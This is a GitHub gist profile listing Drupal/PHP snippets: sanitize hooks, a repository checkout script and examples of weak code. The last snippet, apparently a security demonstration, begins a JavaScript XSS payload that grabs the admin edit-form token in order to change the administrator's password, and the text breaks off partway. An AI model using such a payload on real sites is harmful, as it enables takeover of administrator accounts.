Skip to content

Instantly share code, notes, and snippets.

View greggles's full-sized avatar

Greg Knaddison greggles

View GitHub Profile
@greggles
greggles / check_plain_it_all.php
Created June 12, 2012 19:22
check_plain all the things
<?php
// ....
array_walk($_POST, 'check_plain');
// ....
@greggles
greggles / webform.drush.inc
Created May 7, 2012 15:53
example drush sanitize hook
<?php
function paranoia_drush_sql_sync_sanitize($source) {
drush_sql_register_post_sync_op('webform_delete_webform_submissions',
dt('Delete all webform_submission primary entries'),
"delete from webform_submissions;");
drush_sql_register_post_sync_op('webform_delete_webform_submitted_data',
dt('Delete all webform_submitted_data field level entries'),
"delete from webform_submitted_data;");
}
@greggles
greggles / webform.drush.inc
Created April 25, 2012 14:05
webform.drush.inc
<?php
function webform_drush_sql_sync_sanitize($source) {
drush_sql_register_post_sync_op('webform_delete_webform_submissions',
dt('Delete all webform_submission primary entries'),
"delete from webform_submissions;");
drush_sql_register_post_sync_op('webform_delete_webform_submitted_data',
dt('Delete all webform_submitted_data field level entries'),
"delete from webform_submitted_data;");
}
@greggles
greggles / custom.module.php
Created April 23, 2012 22:39
custom.module.php
<?php
function custom_node_2_php() {
if(user_is_anonymous()) {
return;
}
...
@greggles
greggles / codecommentsfrombeforegit.php
Created April 18, 2012 23:15
codecommentsfrombeforegit.php
<?php
/**
* ---------------------------------------------------------------------
* The code in this file seemed like it wasn't being used, since the
* module wasn't enabled. In case there was any use for it, I'm storing
* the code in this file so I can continue to use the custom module
* namespace.
* ---------------------------------------------------------------------
*/
@greggles
greggles / gist:2032114
Created March 13, 2012 22:13
checkout all the projects
#!/bin/bash
REPOS="/Users/gknaddison/checkouts/allthestuff/newstyle/d6/themes"
mkdir $REPOS
cd $REPOS
while read line; do
echo "$line"
git clone git://git.drupal.org/project/${line}.git ${REPOS}/${line}
cd ${REPOS}/${line} && git checkout 7.x-1.x
done < "/Users/gknaddison/checkouts/allthestuff/allthemes.txt"
@greggles
greggles / gist:1895535
Created February 23, 2012 22:49
cyclical complexity of 2 no-op
<?php
/**
* Implement hook_field_attach_submit().
*/
function example_authentication_field_attach_submit($entity_type, $entity, $form, &$form_state) {
// drupal_set_message('THE ENTITY TYPE IS:'.$entity_type);
if ($entity_type == 'user') {
// drupal_set_message('THE CURRENT PASSWORD IS: '.$form['#user']->current_pass);
// drupal_set_message('THE NEW PASSWORD IS: '.$form['#user']->pass);
@greggles
greggles / gist:1895497
Created February 23, 2012 22:42
variable constants, dawg
<?php
$query_latest_comment = "SELECT c.nid, c.cid from {node_comment_statistics} c INNER JOIN {node} n ON c.nid=n.nid WHERE n.type=:forum_type and c.cid > :zero_value ORDER BY last_comment_timestamp DESC LIMIT 0, 50";
$result_latest_comment = db_query($query_latest_comment, array (':forum_type'=>'forum', ':zero_value'=>0));
@greggles
greggles / gist:1894088
Created February 23, 2012 18:07
php loose typing FTL
<?php
if ($making_this_valid) {
// I would totally buy lip balm called Sonnabalm, if mark would make it.
}
else {
// Time out, in seconds, until login URL expires. 24 hours = 86400 seconds.
$timeout = 86400;
if($activation_days){
$timeout .= $timeout* $activation_days;
}
@greggles
greggles / gist:1368537
Last active December 1, 2015 20:59
Drupal 7 xss change password
// Test for the presence of jquery.
if (typeof jQuery == 'function') {
// Fetch a correct token from the user edit form because we will need it to
// successfully submit the user edit form later.
// TODO: Include a check to increase the chance that the current user is admin,
// which will reduce the number of access denied error messages in the log.
jQuery.get(Drupal.settings.basePath + 'user/2/edit',
function (data, status) {
if (status == 'success') {
// Extract the token and other required data